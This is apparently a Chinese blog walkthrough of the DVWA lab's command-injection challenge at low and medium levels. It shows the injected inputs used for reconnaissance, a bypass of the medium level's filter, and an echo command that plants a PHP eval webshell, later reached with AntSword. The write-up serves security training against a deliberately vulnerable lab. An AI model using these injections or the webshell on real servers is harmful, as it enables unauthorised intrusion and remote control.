linux环境下的DVWA靶场命令执行漏洞(中级)通关
我自己在通关linux环境下的DVWA靶场命令执行漏洞的过程中遇到了很多问题,于是写了这篇文章分享一下自己的思路。
阅读前须知:
靶场:搭建在ubuntu上的DVWA靶场;
实验目的:通过命令执行漏洞上传后门木马,来获取网站的控制权。
本篇文章只针对搭建在ubuntu上的DVWA靶场,windows上搭建的请查看其他教程。
目录
一、初级
1.判断是否存在漏洞
首先,我们输入127.0.0.1发现网站返回了ping 127.0.0.1的信息,而且是调用系统接口的ping命令。

然后输入127.0.0.1&whoami发现ping命令和whoami命令都被执行,说明当前页面存在命令执行漏洞;
127.0.0.1&whoami

并且根据返回的信息,得到一个重要信息——当前执行命令的用户是www-data,是一个低权用户,这对以后的注入有很大帮助。
2.通过已知漏洞来获取更多信息
在linux系统中可以通过分号“;”,来在一行中执行多条命令。
输入127.0.0.1&pwd;ls -al提交来显示当前所处的路径和当前路径的文件信息,代码及结果如下:
127.0.0.1&pwd;ls -al

分析得知,当前路径是/var/www/html/vulnerabilities/exec,而且当前目录是root身份创建,非root组的用户只有读取和执行的权限,不能编辑及创建文件。
输入127.0.0.1&cd ..;pwd;ls -al提交来显示上一级的路径和文件信息,代码及结果如下:
127.0.0.1&cd ..;pwd;ls -al
发现该目录依然不能写入文件,但是上一级目录(图中蓝色部分)权限为rwx rwx rwx,也就是对非root用户也能写入,那么就可以尝试以www-data用户的身份来在该位置写入一个一句话木马。
3.尝试写入一句话木马
我们先分析一下:
# 首先,我们通过以下命令跳转到目标路径
cd ../..
# 一句话木马实例
<?php @eval($_POST[root]);?>
# 通过echo命令在该目录写入一个一句话木马
# 注意要将木马内容用引号引起来
# 并将$用\转义,也就是替换为\$
echo "<?php @eval(\$_POST[root]);?>" > ma.php
# 查看结果
pwd
ls -al
# 将以上命令用;拼接,得到
cd ../..;echo "<?php @eval(\$_POST[root]);?>" > ma.php;pwd;ls -al
我们输入127.0.0.1&cd ../..;echo "<?php @eval(\$_POST[root]);?>" > ma.php;pwd;ls -al,代码及结果如下:
127.0.0.1&cd ../..;echo "<?php @eval(\$_POST[root]);?>" > ma.php;pwd;ls -al

发现成功创建了一个木马文件ma.php,通过网站url和上图信息判断木马被写入到了网站根目录下,于是推测木马url为http://192.168.248.131:8082/ma.php

通过蚁剑连接,成功。


二、中级
1.比较低级和中级的区别
通过对比低级和中级的源码

发现中级只是简单地对字符“&&”和“;”进行了过滤,只需要想办法消去“127.0.0.1&cd ../..;echo "<?php @eval(\$_POST[root]);?>" > ma.php;pwd;ls -al”中的“;”即可,那么我们可以取消cd命令和获取信息的pwd和ls命令,只用一个echo语句完成目标,于是代码改成以下即可:
127.0.0.1&echo "<?php @eval(\$_POST[root]);?>" > ../../ma.php
成功执行:

蚁剑连接,成功:

三、总结
其实,linux环境下的DVWA靶场命令执行漏洞并不难,但关键在于能否发现网站的漏洞,利用已有权限在允许的位置写入木马文件。
很高兴这篇文章能够帮到你,如果以上文章有错误,欢迎指出,也欢迎大家分享自己在网络安全领域学习中的经验与方法。
更多推荐



所有评论(0)